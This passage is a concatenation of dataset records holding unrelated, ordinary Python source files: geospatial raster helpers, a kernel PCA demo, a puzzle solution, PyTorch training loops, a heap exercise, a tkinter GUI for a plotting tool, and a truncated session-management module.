cubicC)\nprint(cubicA, cubicB, cubicC, cubicZ)\n\nif cubicZ == 0:\n print('There is more probability that you like chocolate ice cream')\nif cubicZ == 1:\n print('There is more probability that you like vanilla ice-cream')\n\n","repo_name":"Ye-Yint-Nyo-Hmine/Probability-bot-v0.01","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73353880407","text":"\"\"\"\nUtilities for working with geospatial analysis in Python\n\n\"\"\"\n\n# Standard\nimport os\nimport sys\nimport random\nimport re\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\n# Spatial\nimport geojson\nimport geopandas as gpd\nimport fiona\nimport contextily as ctx\nimport rasterio as rio\nimport rasterio.mask\nfrom rasterio.plot import show as rioshow\nimport rioxarray\n\n\ndef resample_raster(\n raster_inpath,\n raster_outpath,\n upscale_factor=10,\n resampling_method=rio.enums.Resampling.nearest,\n):\n \"\"\"\n Resample raster to a given resolution.\n\n Args:\n raster_inpath (str): Path to raster to resample.\n raster_outpath (str): Path to output raster.\n upscale_factor (float): Upscale factor. Fractions for downscaling.\n\n \"\"\"\n import rasterio as rio\n \n with rio.open(raster_inpath) as src:\n # resample data to target shape\n height = int(src.height * upscale_factor)\n width = int(src.width * upscale_factor)\n data = src.read(\n out_shape=(\n src.count,\n height,\n width,\n ),\n resampling=resampling_method,\n )\n\n # scale image transform\n transform = src.transform * src.transform.scale(\n (src.width / data.shape[-1]), (src.height / data.shape[-2])\n )\n\n # Export to new raster\n kwargs = src.meta.copy()\n kwargs.update({\"transform\": transform, \"width\": width, \"height\": height})\n\n with rio.open(raster_outpath, \"w\", **kwargs) as dst:\n dst.write(data)\n\n\n\ndef polygonize_raster(rasterpath, bandnum=1):\n \"\"\"Polygonize given raster\"\"\"\n import rasterio as rio\n import geopandas as gpd\n from rasterio.features import shapes\n\n mask = None\n with rio.Env():\n with rio.open(rasterpath) as src:\n image = src.read(bandnum) # first band\n results = (\n {\"properties\": {\"raster_val\": v}, \"geometry\": s}\n for i, (s, v) in enumerate(\n shapes(image, mask=mask, transform=src.transform)\n )\n )\n geoms = list(results)\n gpd_polygonized_raster = gpd.GeoDataFrame.from_features(geoms)\n return gpd_polygonized_raster\n \n\ndef crop_raster_to_gdf(raster_inpath, gdf, raster_outpath):\n \"\"\"\n Crop raster to geodataframe\n\n Args:\n raster_inpath: Raster filepath, CRS is EPSG:4326\n gdf: any CRS, geodataframe\n raster_outpath: Cropped raster output filepath\n \"\"\"\n # Get list of shapes\n shapes = [x for x in gdf.to_crs(4326).geometry]\n\n # Read raster, mask\n with rio.open(raster_inpath) as src:\n out_image, out_transform = rasterio.mask.mask(src, shapes, crop=True)\n out_meta = src.meta\n\n # Set output metadata and write\n out_meta.update(\n {\n \"driver\": \"GTiff\",\n \"height\": out_image.shape[1],\n \"width\": out_image.shape[2],\n \"transform\": out_transform,\n }\n )\n\n with rio.open(raster_outpath, \"w\", **out_meta) as dest:\n dest.write(out_image)\n\n\ndef convert_to_geodf(\n df, longitude_col, latitude_col, drop_coords=False, crs=\"epsg:4326\"\n):\n # Convert dataframe of coordinates to a geodataframe (geopandas), provided latitude and longitude variables\n import geopandas as gpd\n import shapely\n from shapely.geometry import Point\n\n shapely.speedups.enable()\n df = df.copy()\n df[\"coordinates\"] = list(zip(df[longitude_col], df[latitude_col]))\n if drop_coords:\n df = df.drop([latitude_col, longitude_col], axis=1)\n df[\"coordinates\"] = df[\"coordinates\"].apply(Point)\n geodf = gpd.GeoDataFrame(df, crs=crs, geometry=\"coordinates\")\n return geodf\n","repo_name":"shreyasgm/glocal","sub_path":"src/spatial_utils.py","file_name":"spatial_utils.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24127331508","text":"import numpy as np\nimport numpy as np\nfrom scipy import linalg\nfrom mpl_toolkits.mplot3d.axes3d import Axes3D\nimport matplotlib.pyplot as plt\nimport numpy.matlib\nnp.set_printoptions(precision=2)\nnp.random.seed(0)\nN,hh,m=1000,35.0,2#sample,#width,#enbed\na=3.0*np.pi*np.random.rand(N)\nx=np.array([a*np.cos(a),20*np.random.rand(N),a*np.sin(a)])\nfig=plt.figure()\nax=Axes3D(fig)\nax.scatter3D(np.ravel(x[0]),np.ravel(x[1]),np.ravel(x[2]),c=a)\nplt.show()\nxx=np.dot(x.T,x)# =(60,60)\nx2=np.matrix(np.diagonal(xx))\nx2=np.matlib.repmat(x2,len(x2),1)+np.matlib.repmat(x2.T,1,len(x2))\nK=np.matrix(np.exp(-(x2-2*xx)/hh))\nH=np.matrix(np.ones((N,N))/N)\nK=K - K*H - H*K + H*K*H\nla,v=linalg.eigh(K)\nidx=la.argsort()[::-1]\nl1,l2=la[idx[0]],la[idx[1]]\nv1,v2=v[:,idx[0]],v[:,idx[1]]#U,s,Vh=linalg.svd(K)\nlamda=np.diag([l1,l2])\nA=np.vstack((v1,v2))\nB=np.dot(lamda,np.dot(A,K))\nplt.scatter(np.real(B[0]),np.real(B[1]),c=a)\nplt.show()\n","repo_name":"shimagaki/parameterEstimation","sub_path":"pca_kernel.py","file_name":"pca_kernel.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25991735626","text":"#!/usr/bin/python3\n\nwith open('./input.txt', 'r') as f:\n paths = f.read().splitlines()\n\nposition_sets = [set(), set()]\n\nfor path, position_set in zip(paths, position_sets):\n steps = path.split(',')\n cur_x = 0\n cur_y = 0\n\n for step in steps:\n dir = step[0]\n dist = int(step[1:])\n\n if dir == 'U':\n new_positions = {(cur_x, y) for y in\n range(cur_y + 1, cur_y + dist + 1)}\n cur_y += dist\n elif dir == 'D':\n new_positions = {(cur_x, y) for y in \n range(cur_y - 1, cur_y - dist - 1, -1)}\n cur_y -= dist\n elif dir == 'R':\n new_positions = {(x, cur_y) for x in\n range(cur_x + 1, cur_x + dist + 1)}\n cur_x += dist\n elif dir == 'L':\n new_positions = {(x, cur_y) for x in \n range(cur_x - 1, cur_x - dist - 1, -1)}\n cur_x -= dist\n else:\n raise Exception('Invalid direction')\n\n position_set |= new_positions\n\n position_set.discard((0, 0))\n\nintersections = position_sets[0] & position_sets[1]\nclosest = min(intersections, key=lambda pos: abs(pos[0]) + abs(pos[1]))\n\nprint(abs(closest[0]) + abs(closest[1]))\n\n","repo_name":"tkkuehn/aoc19","sub_path":"day3/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71875959447","text":"from tqdm.auto import tqdm\nimport torch\nimport math\nimport numpy as np\n\n\ndef display_lr(lr):\n pow = math.floor(math.log10(lr))\n return f\"{lr*(10**(-pow)):.2f}e{pow}\"\n\ndef train(model, iterator, optimizer, criterion, clip_norm=None):\n \"\"\"\n Trains the model for one full epoch\n \"\"\"\n epoch_loss = 0\n epoch_perplexity = 0\n\n model.train()\n\n epoch_bar = tqdm(iterator, total=len(iterator))\n\n i = 0\n for batch in epoch_bar:\n i += 1\n optimizer.zero_grad()\n text = batch.text\n trg = batch.target.view(-1)\n\n preds = model(text)[0]\n preds = preds.view(-1, preds.shape[-1])\n\n loss = criterion(preds, trg)\n\n loss.backward()\n\n total_norm = 0\n\n for p in model.parameters():\n if p.grad is not None:\n param_norm = p.grad.data.norm(2)\n total_norm += param_norm.item() ** 2\n\n total_norm = total_norm ** (1. / 2)\n\n if clip_norm:\n torch.nn.utils.clip_grad_norm_(model.parameters(), clip_norm)\n\n optimizer.step()\n\n epoch_loss += loss.item()\n epoch_perplexity += np.exp(loss.item())\n\n lr = optimizer.param_groups[0][\"lr\"]\n\n epoch_bar.set_description(f\"norm = {total_norm:.5f} loss = {epoch_loss / i:.4f} LR = {display_lr(lr)}\")\n\n return epoch_loss / len(iterator), epoch_perplexity / len(iterator)\n\n\ndef evaluate(model, iterator, criterion=None):\n \"\"\"\n Evaluates the model on the given iterator\n \"\"\"\n epoch_loss = .0\n model.eval()\n with torch.no_grad():\n for batch in iterator:\n text = batch.text\n trg = batch.target.view(-1)\n\n preds = model(text)[0]\n preds = preds.view(-1, preds.shape[-1])\n\n\n loss = criterion(preds, trg)\n\n epoch_loss += loss.item()\n\n loss = epoch_loss / len(iterator)\n\n perplexity = np.exp(loss)\n\n return loss, perplexity\n\ndef training_cycle(model, train_iter, valid_iter, epochs,\n optimizer, criterion, scheduler, model_path,\n early_stopping_tolerance=None, ncols=None):\n\n best_valid_loss = float('inf')\n epochs_without_improvement = 0\n\n for epoch in range(epochs):\n print(f\"Epoch {epoch+1}\")\n\n train_loss, train_perplexity = train(model, train_iter, optimizer, criterion)\n valid_loss, valid_perplexity = evaluate(model, valid_iter, criterion)\n\n scheduler.step(valid_loss)\n\n desc = f' Train Loss: {train_loss:.5f} Perp: {train_perplexity:.3f}'\n desc += f' Val. Loss: {valid_loss:.5f} Perp: {valid_perplexity:.3f}'\n\n print(desc)\n if valid_loss < best_valid_loss:\n best_valid_loss = valid_loss\n epochs_without_improvement = 0\n torch.save(model.state_dict(), model_path)\n print(f\"Best model so far (Loss {best_valid_loss:.5f} Perp {valid_perplexity:.2f}) saved at {model_path}\")\n else:\n epochs_without_improvement += 1\n if early_stopping_tolerance and epochs_without_improvement >= early_stopping_tolerance:\n print(\"Early stopping\")\n break\n","repo_name":"finiteautomata/pytorch-language-models","sub_path":"pytorch_lm/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20707957005","text":"\"\"\" Design an algorithm to to find the smallest \n K numbers in an array\n\n Solution:\n - Iterate the array\n - Build a K length max heap\n\n\"\"\"\nimport heapq\n\nk = 3\narr = [5,3,2,8,4,5,7,2,1,4,6,9,8,6,0,-1,-4,100]\n\ndef eval_min(elem, heap):\n global k\n heap_elem = elem*-1\n if len(heap) < k:\n heapq.heappush(heap, heap_elem)\n else:\n max_heap = heap[0]\n if heap_elem > max_heap:\n heapq.heappop(heap)\n heapq.heappush(heap, heap_elem)\n\ndef min_k(arr):\n # Loop the array to valuate\n heap = []\n for a in arr:\n eval_min(a, heap)\n # Convert heap\n for i in range(len(heap)):\n heap[i]*=-1\n return heap\n\nif __name__ == '__main__':\n kmin = min_k(arr)\n print(\"Get {} min elems of array: {}\".format(\n k, arr\n ))\n print(\"Solution: \")\n print(kmin)\n","repo_name":"rogamba/algorithms-python","sub_path":"stacks_queues/smallest_k.py","file_name":"smallest_k.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15499998477","text":"# Authors: Dominik Zuercher, Valeria Glauser\n\nfrom niceplots import utils\nimport os\nimport fitz\nimport numpy as np\nimport glob\nimport sys\nimport threading\nfrom threading import Thread\n# from tkPDFViewer import tkPDFViewer as pdf\nimport tkinter.filedialog\n\ntry:\n import tkinter\nexcept ImportError:\n raise Exception(\"Could not import tkinter. This means tk is not configured properly. On Linux this can be solved by installing tk.\")\nfrom tkinter import ttk\nimport tkinter.font as tkFont\n\nimport logging\nLOGGER = logging.getLogger(__name__)\n\nclass GUI:\n \"\"\" Handles niceplots GUI \"\"\"\n\n def __init__(self):\n self.status_label = None\n\n # root window\n self.root = tkinter.Tk()\n\n # set GUI scaling\n dpi = self.root.winfo_fpixels('1i')\n if dpi > 80:\n LOGGER.info(\"Assuming high definition. Setting GUI scaling to 2.0\")\n self.scaling = 2.0\n else:\n self.scaling = 1.0\n self.root.tk.call('tk', 'scaling', self.scaling)\n\n self.root.geometry('1000x500')\n self.root.title(\"nice-plots\")\n\n # font\n self.default_font = tkFont.Font(family=\"Arial\",size=int(8 * self.scaling),weight=\"bold\")\n self.root.option_add(\"*Font\", self.default_font)\n s = ttk.Style()\n s.configure('TNotebook.Tab', font=('Arial',f'{int(8 * self.scaling)}','bold') )\n s.configure(\"TRadiobutton\", font = (\"Arial\", f'{int(8 * self.scaling)}', \"bold\"))\n s.configure(\"TButton\", font = (\"Arial\", f'{int(8 * self.scaling)}', \"bold\"))\n\n def config_gui(self, np_instance):\n \"\"\" Configure the GUI \"\"\"\n\n # initalize niceplots API instance\n self.np_instance = np_instance\n\n # Multi Tab setup\n self.tabControl = ttk.Notebook(self.root)\n self.tabControl.pack(expand=True)\n self.general_tab = ttk.Frame(\n self.tabControl)\n self.config_tab = ttk.Frame(\n self.tabControl)\n self.code_tab = ttk.Frame(\n self.tabControl)\n self.preview_tab = ttk.Frame(\n self.tabControl)\n\n self.general_tab.pack(fill='both', expand=True)\n self.config_tab.pack(fill='both', expand=True)\n self.code_tab.pack(fill='both', expand=True)\n self.preview_tab.pack(fill='both', expand=True)\n\n self.tabControl.add(self.general_tab, text='General')\n self.tabControl.add(self.config_tab, text='Config')\n self.tabControl.add(self.code_tab, text='Codebook')\n self.tabControl.add(self.preview_tab, text='Preview')\n\n # bind such that each time tab becomes visible function is called\n self.config_tab.bind(\"\", self.config_config_tab)\n self.code_tab.bind(\"\", self.config_code_tab)\n self.preview_tab.bind(\"\", self.config_preview_tab)\n\n # configure the tabs\n self.config_general_tab()\n self.config_config_tab()\n self.config_code_tab()\n self.config_preview_tab()\n\n def config_preview_tab(self, event=None):\n if event is None:\n # assume initialization\n self.preview_label = ttk.Label(\n self.preview_tab,\n text=\"\")\n self.preview_label.grid(\n column=0, row=0, columnspan=3, sticky='W')\n self.preview_tab_initalized = False\n if not self.preview_tab_initalized:\n if self.np_instance.global_plotting_data is None:\n self.preview_label.config(\n text=\"No plots to show yet. Press Save and Run in General tab first.\")\n elif len(glob.glob(\n self.np_instance.ctx['output_directory'] + '/*.' + self.np_instance.ctx['format'])) == 0:\n self.preview_label.config(\n text=\"No plots to show yet. Press Save and Run in General tab first.\")\n else:\n # description\n description = \" Here you can have a look at how the plots look like. \\n \" \\\n \"If you make changes to the configuration file or codebook you can hit Refresh \\n \" \\\n \"and click on the plot name in the list again to get an updated view of the plot. \\n \" \\\n \"Clicking Refresh All will rerun all the plots. \\n \\n \" \\\n \"Preview: \\n \\n \"\n self.preview_label.config(text=description)\n\n self.preview_tab_initalized = True\n\n Lb = tkinter.Listbox(self.preview_tab)\n Lb.grid(row=1, column=0, sticky=('W', 'E', 'N', 'S'))\n\n plots = glob.glob(\n self.np_instance.ctx['output_directory'] + '/*.' + self.np_instance.ctx['format'])\n plots = np.asarray(plots)\n self.plots = np.sort(plots)\n for idx, plot in enumerate(self.plots):\n Lb.insert(idx, os.path.basename(plot))\n\n def callback(event=None):\n if event is not None:\n selection = event.widget.curselection()\n if selection:\n self.viewer_index.set(selection[0])\n else:\n self.viewer_index.set(0)\n\n fname = str(self.plots[int(self.viewer_index.get())])\n doc = fitz.open(fname)\n page = doc.load_page(0)\n pix = page.get_pixmap()\n imgdata = pix.tobytes(\"ppm\") # extremely fast!, no PIL\n photo = tkinter.PhotoImage(data=imgdata)\n self.preview_window.configure(image=photo)\n self.preview_window.image = photo\n\n else:\n self.viewer_index = tkinter.StringVar()\n self.viewer_index.set(0)\n\n fname = str(self.plots[int(self.viewer_index.get())])\n doc = fitz.open(fname)\n page = doc.load_page(0)\n pix = page.get_pixmap()\n imgdata = pix.tobytes(\"ppm\") # extremely fast!, no PIL\n photo = tkinter.PhotoImage(data=imgdata)\n\n self.preview_window = ttk.Label(self.preview_tab, image=photo)\n self.preview_window.image = photo\n self.preview_window.grid(row=1, column=1, sticky=('W', 'E', 'N', 'S'))\n\n Lb.bind(\"<>\", callback)\n\n callback()\n\n button_frame = tkinter.Frame(self.preview_tab)\n\n # refresh button\n single_refresh_button = ttk.Button(\n button_frame,\n text=\"Refresh\",\n command=lambda: self.start_single_refresh('run_single', self.preview_status_label, int(self.viewer_index.get())))\n single_refresh_button.grid(row=0, column=0)\n\n # run all button\n refresh_button = ttk.Button(\n button_frame,\n text=\"Refresh All\",\n command=lambda: self.start_refresh('run', self.preview_status_label))\n refresh_button.grid(row=0, column=1)\n\n button_frame.grid(row=3, column=0, pady=self.scaling * 20)\n\n self.preview_status_label = ttk.Label(\n self.preview_tab, text=\"\")\n self.preview_status_label.grid(column=0, row=4, sticky='W')\n\n def config_code_tab(self, event=None):\n # Config Tab\n if event is None:\n # assume initialization\n self.code_label = ttk.Label(\n self.code_tab,\n text=\"\")\n self.code_label.grid(\n column=0, row=0, sticky='W')\n self.code_tab_initalized = False\n if not self.code_tab_initalized:\n if self.np_instance.codebook is None:\n self.code_label.config(\n text=\"Codebook not set yet. Press Save in General tab first.\")\n else:\n # description\n description = \" Here you can edit the entries in the codebook in the output directory that is used by nice-plots. \\n \" \\\n \"Once you are done hit the Save button. \\n \" \\\n \"If you want to restore the codebook defined in the default codebook file hit the Restore defaults button. \\n \\n \" \\\n \"Codebook: \\n \\n \"\n self.code_label.config(text=description)\n\n # add Scrollbars\n def onFrameConfigure(canvas, frame):\n '''Reset the scroll region to encompass the inner frame'''\n canvas.configure(scrollregion=canvas.bbox(\"all\"))\n canvas.config(height=1500,\n width=frame.winfo_width() - 40)\n\n canvas = tkinter.Canvas(self.code_tab, borderwidth=0)\n frame = tkinter.Frame(canvas)\n vsb = tkinter.Scrollbar(\n self.code_tab, orient=\"vertical\", command=canvas.yview, width=40)\n hsb = tkinter.Scrollbar(\n self.code_tab, orient=\"horizontal\", command=canvas.xview, width=40)\n canvas.configure(yscrollcommand=vsb.set)\n canvas.configure(xscrollcommand=hsb.set)\n vsb.grid(row=1, column=1, sticky=('N', 'S', 'W', 'E'))\n hsb.grid(row=2, column=0, sticky=('W', 'E'))\n canvas.grid(row=1, column=0, sticky=('W', 'E', 'N', 'S'))\n canvas.create_window((4, 4), window=frame, anchor=\"nw\")\n frame.bind(\"\", lambda event,\n canvas=canvas: onFrameConfigure(canvas, self.code_tab))\n\n # display codebook\n n_entries = self.np_instance.codebook.shape[0]\n\n # variables\n for idx, col in enumerate(self.np_instance.codebook):\n if col == 'Index':\n continue\n self.np_instance.codebook_variables[col] = []\n # assign in loop otherswise copies variable address\n for idy in range(n_entries):\n self.np_instance.codebook_variables[col].append(\n tkinter.StringVar())\n\n # header\n for idx, col in enumerate(self.np_instance.codebook):\n ttk.Label(frame, text=col).grid(row=0, column=idx, sticky=('W', 'E'))\n\n # data\n for idx, col in enumerate(self.np_instance.codebook):\n data = self.np_instance.codebook[col]\n if col == 'Index':\n for idy in range(n_entries):\n ttk.Label(frame, text=data[idy]).grid(row=idy + 1, column=idx, sticky=('W', 'E'))\n else:\n for idy in range(n_entries):\n entry = ttk.Entry(\n frame,\n textvariable=self.np_instance.codebook_variables[col][idy])\n entry.grid(row=idy + 1, column=idx, sticky=('W', 'E'))\n self.np_instance.codebook_variables[col][idy].set(\n data[idy])\n\n button_frame = ttk.Frame(self.code_tab)\n\n # save button\n save_button = ttk.Button(\n button_frame,\n text=\"Save\",\n command=lambda: self.start_run('update_code', self.code_status_label))\n\n # restore button\n restore_button = ttk.Button(\n button_frame,\n text=\"Restore defaults\",\n command=lambda: self.start_run('restore_code', self.code_status_label))\n\n save_button.grid(row=0, column=0)\n restore_button.grid(row=0, column=1)\n button_frame.grid(row=4, column=0, sticky=('W'), pady=self.scaling * 20)\n self.code_tab_initalized = True\n\n self.code_status_label = ttk.Label(self.code_tab, text=\"\")\n self.code_status_label.grid(column=0, row=5, sticky='W')\n\n def config_config_tab(self, event=None):\n # Config Tab\n\n if event is None:\n # assume initialization\n self.config_label = ttk.Label(\n self.config_tab,\n text=\"\")\n self.config_tab_initalized = False\n if not self.config_tab_initalized:\n if self.np_instance.ctx is None:\n self.config_label.config(\n text=\"Configuration file not set yet. Press Save in General tab first.\")\n else:\n # description\n description = \" Here you can edit the entries in the config file in the output directory that is used by nice-plots. \\n \" \\\n \"Once you are done hit the Save button. \\n \" \\\n \"If you want to restore the settings defined in the default config file hit the Restore defaults button \\n \\n \" \\\n \"Options: \\n \\n \"\n self.config_label.config(text=description)\n\n # add Scrollbar\n def onFrameConfigure(canvas, frame):\n '''Reset the scroll region to encompass the inner frame'''\n canvas.configure(scrollregion=canvas.bbox(\"all\"))\n canvas.config(width=frame.winfo_width())\n canvas = tkinter.Canvas(self.config_tab, borderwidth=0)\n frame = tkinter.Frame(canvas)\n vsb = tkinter.Scrollbar(\n self.config_tab, orient=\"vertical\", command=canvas.yview, width=40)\n canvas.configure(yscrollcommand=vsb.set)\n canvas.grid(row=1, column=0, sticky=('W'))\n canvas.create_window((4, 4), window=frame, anchor=\"nw\")\n frame.bind(\"\", lambda event,\n canvas=canvas: onFrameConfigure(canvas, frame))\n\n # Display the options from the config file\n counter = 0\n # hide some options\n hide = ['output_name', 'config_file', 'output_directory',\n 'codebook_path', 'additional_codebook_entries']\n for key in self.np_instance.ctx.keys():\n if key in hide:\n continue\n ttk.Label(frame, text=key).grid(\n column=0, row=counter, sticky='W')\n\n self.np_instance.config_variables[key] = tkinter.StringVar()\n self.np_instance.config_variables[key].set(\n self.np_instance.ctx[key])\n ttk.Entry(\n frame, width=40,\n textvariable=self.np_instance.config_variables[key]).grid(column=1, row=counter, sticky='E')\n counter += 1\n\n button_frame = ttk.Frame(self.config_tab)\n\n # save button\n save_button = ttk.Button(\n button_frame,\n text=\"Save\",\n command=lambda: self.start_run('update_config', self.config_status_label))\n\n # restore button\n restore_button = ttk.Button(\n button_frame,\n text=\"Restore defaults\",\n command=lambda: self.start_run('restore_config', self.config_status_label))\n self.config_tab_initalized = True\n\n self.config_status_label = ttk.Label(self.config_tab, text=\"\")\n\n # placing\n self.config_label.grid(column=0, row=0, columnspan=3, sticky='W')\n vsb.grid(row=1, column=1, sticky=('N', 'S', 'W')) # scrollbar\n button_frame.grid(row=2, column=0, sticky='W')\n save_button.grid(row=0, column=0)\n restore_button.grid(row=0, column=1)\n self.config_status_label.grid(column=0, row=4, sticky='W')\n\n # some styling\n for child in self.general_tab.winfo_children():\n child.grid_configure(padx=self.scaling, pady=self.scaling)\n button_frame.grid_configure(pady=self.scaling * 20)\n\n def config_general_tab(self):\n # description\n description = \" Here you can set the paths to the files that nice-plots requires and choose the type of plots. \\n \\n \" \\\n \"Default config file: The config file will be produced based on the default config file. \\n \" \\\n \"You can then edit the config file in the Config tab. \\n \" \\\n \"Default codebook: The codebook will be produced based on the default codebook. \\n \" \\\n \"You can then edit the codebook in the Codebook tab.\\n \" \\\n \"Data path: Path to the tabular data. The data file is never touched or modified by nice-plots! \\n \" \\\n \"Output directory: The directory where the plots will be created and the new config and codebook files are stored.\\n \\n \" \\\n \"Once you are done press Save. You can produce all plots by pressing the Run button. \\n \\n \"\n \n desc_label = ttk.Label(self.general_tab, text=description)\n \n # default config file\n label1 = ttk.Label(self.general_tab, text=\"Default config file:\")\n default_config_entry = ttk.Entry(\n self.general_tab, width=40, textvariable=self.np_instance.default_config_path)\n default_config_button = ttk.Button(\n self.general_tab,\n text=\"Browse\",\n command=lambda: self.browse_button(self.np_instance.default_config_path, self.general_tab))\n\n # default codebook\n label2 = ttk.Label(self.general_tab, text=\"Default codebook:\")\n default_codebook_entry = ttk.Entry(\n self.general_tab, width=40, textvariable=self.np_instance.default_codebook_path)\n default_codebook_button = ttk.Button(\n self.general_tab,\n text=\"Browse\",\n command=lambda: self.browse_button(self.np_instance.default_codebook_path, self.general_tab))\n\n # data path\n label3 = ttk.Label(self.general_tab, text=\"Data path:\")\n data_entry = ttk.Entry(\n self.general_tab, width=40, textvariable=self.np_instance.data_path)\n data_button = ttk.Button(\n self.general_tab,\n text=\"Browse\",\n command=lambda: self.browse_button(self.np_instance.data_path, self.general_tab))\n\n # default output directory\n label4 = ttk.Label(self.general_tab, text=\"Output directory:\")\n default_output_entry = ttk.Entry(\n self.general_tab, width=40, textvariable=self.np_instance.output_dir)\n default_output_button = ttk.Button(\n self.general_tab,\n text=\"Browse\", command=lambda: self.browse_button(self.np_instance.output_dir, self.general_tab))\n\n # plot type selection\n label5 = ttk.Label(self.general_tab, text=\"Plot type:\")\n global plot_type\n plot_type = tkinter.StringVar()\n plot_type.set('bars')\n g1 = ttk.Radiobutton(self.general_tab, text='Barplot',\n variable=self.np_instance.plot_type, value='bars')\n g2 = ttk.Radiobutton(self.general_tab, text='Lineplot',\n variable=self.np_instance.plot_type, value='lines')\n g3 = ttk.Radiobutton(self.general_tab, text='Histogram',\n variable=self.np_instance.plot_type, value='histograms')\n\n button_frame = tkinter.Frame(self.general_tab)\n\n # save button\n save_button = ttk.Button(\n button_frame,\n text=\"Save\",\n command=lambda: self.start_run('save', self.status_label))\n\n # run button\n run_button = ttk.Button(\n button_frame,\n text=\"Run\",\n command=lambda: self.start_run('run', self.status_label))\n\n # status label\n self.status_label = ttk.Label(self.general_tab, text=\"\")\n\n # placing\n desc_label.grid(column=0, row=0, columnspan=4, sticky='W')\n label1.grid(column=0, row=1, sticky='W')\n label2.grid(column=0, row=2, sticky='W')\n label3.grid(column=0, row=4, sticky='W')\n label4.grid(column=0, row=5, sticky='W')\n label5.grid(column=0, row=6, sticky='W')\n\n default_config_entry.grid(column=1, row=1, sticky='W')\n default_codebook_entry.grid(column=1, row=2, sticky='W')\n data_entry.grid(column=1, row=4, sticky='W')\n default_output_entry.grid(column=1, row=5, sticky='W')\n\n default_config_button.grid(row=1, column=2, sticky='W')\n default_codebook_button.grid(row=2, column=2, sticky='W')\n data_button.grid(row=4, column=2, sticky='W')\n default_output_button.grid(row=5, column=2, sticky='W')\n\n g1.grid(column=1, row=6, sticky='W', padx=20)\n g2.grid(column=1, row=7, sticky='W', padx=20)\n g3.grid(column=1, row=8, sticky='W', padx=20)\n\n self.status_label.grid(column=2, row=9, sticky='W')\n\n button_frame.grid(row=9, column=0, sticky='W')\n save_button.grid(row=0, column=0, sticky='W')\n run_button.grid(row=0, column=1, sticky='E')\n\n\n # some styling\n for child in self.general_tab.winfo_children():\n child.grid_configure(padx=self.scaling, pady=self.scaling)\n\n # set focus\n default_config_entry.focus()\n\n def start_gui(self):\n # start GUI\n self.root.mainloop()\n\n def browse_button(self, path, root):\n # Allow user to select a directory and store it\n filename = tkinter.filedialog.askdirectory(master=root)\n path.set(filename)\n\n def start_run(self, name, status_label):\n # start run function in new thread otherwise GUI freezes during execution\n exec = getattr(self.np_instance, name)\n Thread(target=exec, args=(status_label,), daemon=True).start()\n\n def start_refresh(self, name, status_label):\n # start run function in new thread otherwise GUI freezes during execution\n exec = getattr(self.np_instance, name)\n Thread(target=exec, args=(status_label,), daemon=True).start()\n\n def start_single_refresh(self, name, status_label, index):\n # start run function in new thread otherwise GUI freezes during execution\n exec = getattr(self.np_instance, name)\n Thread(target=exec, args=(status_label, index), daemon=True).start()\n\n def config_log_tab(self, event=None):\n class ConsoleText(tkinter.Text):\n '''A Tkinter Text widget that provides a scrolling display of console\n stderr and stdout.'''\n class IORedirector(object):\n '''A general class for redirecting I/O to this Text widget.'''\n def __init__(self,text_area):\n self.text_area = text_area\n\n class StdoutRedirector(IORedirector):\n '''A class for redirecting stdout to this Text widget.'''\n def write(self,str):\n self.text_area.write(str,False)\n\n class StderrRedirector(IORedirector):\n '''A class for redirecting stderr to this Text widget.'''\n def write(self,str):\n self.text_area.write(str,True)\n\n def __init__(self, master=None, cnf={}, **kw):\n '''See the __init__ for Tkinter.Text for most of this stuff.'''\n\n tkinter.Text.__init__(self, master, cnf, **kw)\n\n self.started = False\n self.write_lock = threading.Lock()\n\n self.tag_configure('STDOUT',background='white',foreground='black')\n self.tag_configure('STDERR',background='white',foreground='red')\n\n self.config(state=tkinter.NORMAL)\n self.bind('',lambda e: 'break') #ignore all key presses\n\n def start(self):\n\n if self.started:\n return\n\n self.started = True\n\n self.original_stdout = sys.stdout\n self.original_stderr = sys.stderr\n\n stdout_redirector = ConsoleText.StdoutRedirector(self)\n stderr_redirector = ConsoleText.StderrRedirector(self)\n\n sys.stdout = stdout_redirector\n sys.stderr = stderr_redirector\n\n def stop(self):\n\n if not self.started:\n return\n\n self.started = False\n\n sys.stdout = self.original_stdout\n sys.stderr = self.original_stderr\n\n def write(self,val,is_stderr=False):\n self.write_lock.acquire()\n\n self.insert('end',val,'STDERR' if is_stderr else 'STDOUT')\n self.see('end')\n\n self.write_lock.release()\n\n self.console_log = ConsoleText(self.log_tab)\n self.console_log.start()\n self.console_log.grid(row=0, column=0, sticky=('W', 'E', 'N', 'S'))\n","repo_name":"DZuercher/nice-plots","sub_path":"niceplots/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":25175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28863326848","text":"import pprint\n\nfrom .module import Module\n\n\nclass Session(Module):\n def __init__(self, **kwargs):\n super().__init__('session', **kwargs)\n\n def add_arguments(self, parser):\n subp = parser.add_subparsers(help='session help')\n\n p = subp.add_parser('sv', help='save session')\n p.add_argument('name', help='session name')\n p.set_defaults(session_handler=self.handle_save)\n\n p = subp.add_parser('ld', help='load session')\n p.add_argument('name', help='session name')\n p.set_defaults(session_handler=self.handle_load)\n\n p = subp.add_parser('ls', help='list sessions')\n p.set_defaults(session_handler=self.handle_list)\n\n p = subp.add_parser('sh', help='show current state')\n p.set_defaults(session_handler=self.handle_show)\n\n def handle_save(self, args):\n cache = {}\n for mod in self.client.modules:\n if mod.name == 'session':\n continue\n cache[mod.name] = mod.save()\n self.store[args.name] = cache\n\n def handle_load(self, args):\n if args.name not in self.store.keys():\n print(f'Session {args.name} not found')\n\n cache = 